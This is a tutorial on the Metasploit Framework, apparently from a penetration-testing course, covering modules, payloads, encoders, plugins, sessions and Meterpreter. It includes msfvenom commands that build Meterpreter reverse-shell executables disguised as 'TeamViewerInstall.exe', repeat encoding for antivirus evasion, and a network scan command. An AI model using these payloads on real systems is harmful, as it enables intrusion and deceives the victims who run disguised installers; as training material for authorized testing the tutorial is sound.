Using the Metasploit Framework

 

                                          Introduction to Metasploit

The Metasploit Project is a Ruby-based, modular penetration testing platform that enables you to write, test, and execute the exploit code. This exploit code can be custom-made by the user or taken from a database containing the latest already discovered and modularized exploits. The Metasploit Framework includes a suite of tools that you can use to test security vulnerabilities, enumerate networks, execute attacks, and evade detection. Metasploit is not a jack of all trades but a swiss army knife with just enough tools to get us through the most common unpatched vulnerabilities. 

                                            Introduction to MSFconsole

To start interacting with the Metasploit Framework, we need to type msfconsole in the terminal of our choice. Many security-oriented distributions such as Parrot Security and Kali Linux come with msfconsole preinstalled. We can use several other options when launching the script as with any other command-line tool. Upon launching the msfconsole, we are met with their coined splash art and the command line prompt, waiting for our first command. Alternatively, we can use the -q option, which does not display the banner. The MSF engagement structure can be divided into five main categories.

• Enumeration
• Preparation
• Exploitation
• Privilege Escalation
• Post-Exploitation

This division makes it easier for us to find and select the appropriate MSF features in a more structured way and to work with them accordingly. Each of these categories has different subcategories that are intended for specific purposes. These include, for example, Service Validation and Vulnerability Research. Metasploit modules are prepared scripts with a specific purpose and corresponding functions that have already been developed and tested in the wild. The exploit category consists of so-called proof-of-concept (POCs) that can be used to exploit existing vulnerabilities in a largely automated manner. Many people often think that the failure of the exploit disproves the existence of the suspected vulnerability. However, this is only proof that the Metasploit exploit does not work and not that the vulnerability does not exist. This is because many exploits require customization according to the target hosts to make the exploit work. Therefore, automated tools such as the Metasploit framework should only be considered a support tool and not a substitute for our manual skills. The Type tag is the first level of segregation between the Metasploit modules. Looking at this field, we can tell what the piece of code for this module will accomplish. Some of these types are not directly usable as an exploit module would be, for example. However, they are set to introduce the structure alongside the interactable ones for better modularization. To explain better, here are the possible types that could appear in this field:

Type	Description
Auxiliary	Scanning, fuzzing, sniffing, and admin capabilities. Offer extra assistance and functionality.
Encoders	Ensure that payloads are intact to their destination.
Exploits	Defined as modules that exploit a vulnerability that will allow for the payload delivery.
NOPs	(No Operation code) Keep the payload sizes consistent across exploit attempts.
Payloads	Code runs remotely and calls back to the attacker machine to establish a connection (or shell).
Plugins	Additional scripts can be integrated within an assessment with msfconsole and coexist.
Post	Wide array of modules to gather information, pivot deeper, etc.

Note that when selecting a module to use for payload delivery, the use <no.> command can only be used with the following modules that can be used as initiators (or interactable modules):

Type	Description
Auxiliary	Scanning, fuzzing, sniffing, and admin capabilities. Offer extra assistance and functionality.
Exploits	Defined as modules that exploit a vulnerability that will allow for the payload delivery.
Post	Wide array of modules to gather information, pivot deeper, etc.

OS

The OS tag specifies which operating system and architecture the module was created for. Naturally, different operating systems require different code to be run to get the desired results.

Service

The Service tag refers to the vulnerable service that is running on the target machine. For some modules, such as the auxiliary or post ones, this tag can refer to a more general activity such as gather, referring to the gathering of credentials, for example.

Name

Finally, the Name tag explains the actual action that can be performed using this module created for a specific purpose.

Searching for Modules

Metasploit also offers a well-developed search function for the existing modules. With the help of this function, we can quickly search through all the modules using specific tags to find a suitable one for our target. We can also make our search a bit more coarse and reduce it to one category of services. For example, for the CVE, we could specify the year (cve:<year>), the platform Windows (platform:<os>), the type of module we want to find (type:<auxiliary/exploit/post>), the reliability rank (rank:<rank>), and the search name (<pattern>). This would reduce our results to only those that match all of the above.  for the use of this first we have to find out the vulnerable part then search for this exact exploit name. Within the interactive modules, there are several options that we can specify. These are used to adapt the Metasploit module to the given environment. Because in most cases, we always need to scan or attack different IP addresses. Therefore, we require this kind of functionality to allow us to set our targets and fine-tune them. To check which options are needed to be set before the exploit can be sent to the target host, we can use the show options command. Everything required to be set before the exploitation can occur will have a Yes under the Required column. we do not have to type the whole path but only the number assigned to the Metasploit module in our search. We can use the command info after selecting the module if we want to know something more about the module. This will give us a series of information that can be important for us. After we are satisfied that the selected module is the right one for our purpose, we need to set some specifications to customize the module to use it successfully against our target host, such as setting the target (RHOST or RHOSTS). the option setg, which specifies options selected by us as permanent until the program is restarted. Therefore, if we are working on a particular target host, we can use this command to set the IP address once and not change it again until we change our focus to a different IP address. since we are about to use a TCP-based reverse shell (/windows/meterpreter/reverse_tcp) we need to specify to which IP address it needs to connect to in order to establish a connection. Therefore, we need to set LHOST to our own IP address. Once everything is set and ready to go, we can proceed to launch the attack. Note that the payload was not set here, as the default one is sufficient for this demonstration. We now have a shell on the target machine, and we can interact with it.

Targets

Targets are unique operating system identifiers taken from the versions of those specific operating systems which adapt the selected exploit module to run on that particular version of the operating system. The show targets command issued within an exploit module view will display all available vulnerable targets for that specific exploit, while issuing the same command in the root menu, outside of any selected exploit module, will let us know that we need to select an exploit module first. If we want to find out more about this specific module and what the vulnerability behind it does, we can use the info command. This command can help us out whenever we are unsure about the origins or functionality of different exploits or auxiliary modules. 

Payloads

A Payload in Metasploit refers to a module that aids the exploit module in (typically) returning a shell to the attacker.  A Single payload contains the exploit and the entire shellcode for the selected task. Inline payloads are by design more stable than their counterparts because they contain everything all-in-one. Stager payloads work with Stage payloads to perform a specific task. A Stager is waiting on the attacker machine, ready to establish a connection to the victim host once the stage completes its run on the remote host. To see all of the available payloads, use the show payloads command in msfconsole. We have to enter the grep command with the corresponding parameter at the beginning and then the command in which the filtering should happen. With the help of grep, we reduced the list of payloads we wanted down to fewer. If we want to check our LHOST IP address quickly, we can always call the ifconfig command directly from the msfconsole menu. 

Payload Types

The table below contains the most common payloads used for Windows machines and their respective descriptions.

Payload	Description
generic/custom	Generic listener, multi-use
generic/shell_bind_tcp	Generic listener, multi-use, normal shell, TCP connection binding
generic/shell_reverse_tcp	Generic listener, multi-use, normal shell, reverse TCP connection
windows/x64/exec	Executes an arbitrary command (Windows x64)
windows/x64/loadlibrary	Loads an arbitrary x64 library path
windows/x64/messagebox	Spawns a dialog via MessageBox using a customizable title, text & icon
windows/x64/shell_reverse_tcp	Normal shell, single payload, reverse TCP connection
windows/x64/shell/reverse_tcp	Normal shell, stager + stage, reverse TCP connection
windows/x64/shell/bind_ipv6_tcp	Normal shell, stager + stage, IPv6 Bind TCP stager
windows/x64/meterpreter/$	Meterpreter payload + varieties above
windows/x64/powershell/$	Interactive PowerShell sessions + varieties above
windows/x64/vncinject/$	VNC Server (Reflective Injection) + varieties above

Encoders

Metasploit Framework, Encoders have assisted with making payloads compatible with different processor architectures while at the same time helping with antivirus evasion. Encoders come into play with the role of changing the payload to run on different operating systems and architectures. These architectures include:

x64,	x86,	sparc,	ppc,	mips

They are also needed to remove hexadecimal opcodes known as bad characters from the payload. Not only that but encoding the payload in different formats could help with the AV detection as mentioned above. However, the use of encoders strictly for AV evasion has diminished over time, as IPS/IDS manufacturers have improved how their protection software deals with signatures in malware and viruses. Before 2015, the Metasploit Framework had different submodules that took care of payloads and encoders. They were packed separately from the msfconsole script and were called msfpayload and msfencode. These two tools are located in /usr/share/framework2/. If we wanted to create our custom payload, we could do so through msfpayload, but we would have to encode it according to the target OS architecture using msfencode afterward. A pipe would take the output from one command and feed it into the next, which would generate an encoded payload, ready to be sent and run on the target machine.

  msfpayload windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R | msfencode -b '\x00' -f perl -e x86/shikata_ga_nai

updates to these scripts have combined them within the msfvenom tool, which takes care of payload generation and Encoding. We should now look at the first line of the $buf and see how it changes when applying an encoder like shikata_ga_nai.

  msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai

Suppose we want to select an Encoder for an existing payload. Then, we can use the show encoders command within the msfconsole to see which encoders are available for our current Exploit module + Payload combination.

but  it is still not enough for AV evasion. Alternatively, Metasploit offers a tool called msf-virustotal that we can use with an API key to analyze our payloads. However, this requires free registration on VirusTotal.  If we were to encode an executable payload only once with SGN, it would most likely be detected by most antiviruses today. 

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp 

LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe

This will generate a payload with the exe format, called TeamViewerInstall.exe, which is meant to work on x86 architecture processors for the Windows platform, with a hidden Meterpreter reverse_tcp shell payload, encoded once with the Shikata Ga Nai scheme.

One better option would be to try running it through multiple iterations of the same Encoding scheme:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5

LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe

msf-virustotal -k <API key> -f TeamViewerInstall.exe

most anti-virus products that we will encounter in the wild would still detect this payload so we would have to use other methods for AV evasion that are outside the scope of this module.

Plugins

To start using a plugin, we will need to ensure it is installed in the correct directory on our machine. Navigating to /usr/share/metasploit-framework/plugins, which is the default directory for every new installation of msfconsole, should show us which plugins we have to our availability. If the plugin is found here, we can fire it up inside msfconsole and will be met with the greeting output for that specific plugin, signaling that it was successfully loaded in and is now ready to use. If the plugin is not installed correctly, we will receive the following error upon trying to load it. 

Installing new Plugins

To install new custom plugins not included in new updates of the distro, we can take the .rb file provided on the maker's page and place it in the folder at /usr/share/metasploit-framework/plugins with the proper permissions. Ruby (.rb) files which we can directly place in the folder. then git clone https://github.com/darkoperator/Metasploit-Plugins, ls Metasploit-Plugins, copy the plug in path sudo cp ./Metasploit-Plugins/pentest.rb /usr/share/metasploit-framework/plugins/plug in name.rb, then go to the msfconsole and try to start msf6 > load pentest. 

Many people write many different plugins for the Metasploit framework. They all have a specific purpose and can be an excellent help to save time after familiarizing ourselves with them. Check out the list of popular plugins below:

nMap (pre-installed)	NexPose (pre-installed)	Nessus (pre-installed)
Mimikatz (pre-installed V.1)	Stdapi (pre-installed)	Railgun
Priv	Incognito (pre-installed)	Darkoperator's

Sessions

MSFconsole can manage multiple modules at the same time. While running any available exploits or auxiliary modules in msfconsole, we can background the session as long as they form a channel of communication with the target host. This can be done either by pressing the [CTRL] + [Z] key combination or by typing the background command in the case of Meterpreter stages. We can use the sessions command to view our currently active sessions. You can use the sessions -i [no.] command to open up a specific session. We can view the help menu for this command, like others, by typing jobs -h. When we run an exploit, we can run it as a job by typing exploit -j. Per the help menu for the exploit command, adding -j to our command. Instead of just exploit or run, will "run it in the context of a job."To list all running jobs, we can use the jobs -l command. To kill a specific job, look at the index no. of the job and use the kill [index no.] command. Use the jobs -K command to kill all running jobs.

Meterpreter

The Meterpreter Payload is a specific type of multi-faceted, extensible Payload that uses DLL injection to ensure the connection to the victim host is stable and difficult to detect using simple checks and can be configured to be persistent across reboots or system changes. Furthermore, Meterpreter resides entirely in the memory of the remote host and leaves no traces on the hard drive, making it difficult to detect with conventional forensic techniques. To run Meterpreter, we only need to select any version of it from the show payloads output, taking into consideration the type of connection and OS we are attacking. When the exploit is completed, the following events occur:

• The target executes the initial stager. This is usually a bind, reverse, findtag, passivex, etc.

• The stager loads the DLL prefixed with Reflective. The Reflective stub handles the loading/injection of the DLL.

• The Meterpreter core initializes, establishes an AES-encrypted link over the socket, and sends a GET. Metasploit receives this GET and configures the client.

• Lastly, Meterpreter loads extensions. It will always load stdapi and load priv if the module gives administrative rights. All of these extensions are loaded over AES encryption.

Whenever the Meterpreter Payload is sent and run on the target system, we receive a Meterpreter shell. We can then immediately issue the help command to see what the Meterpreter shell is capable of.

meterpreter > help

We will do this a-la-carte, doing everything from inside msfconsole to benefit from the data tracking on our target. 

msf6 > db_nmap -sV -p- -T5 -A 10.10.10.15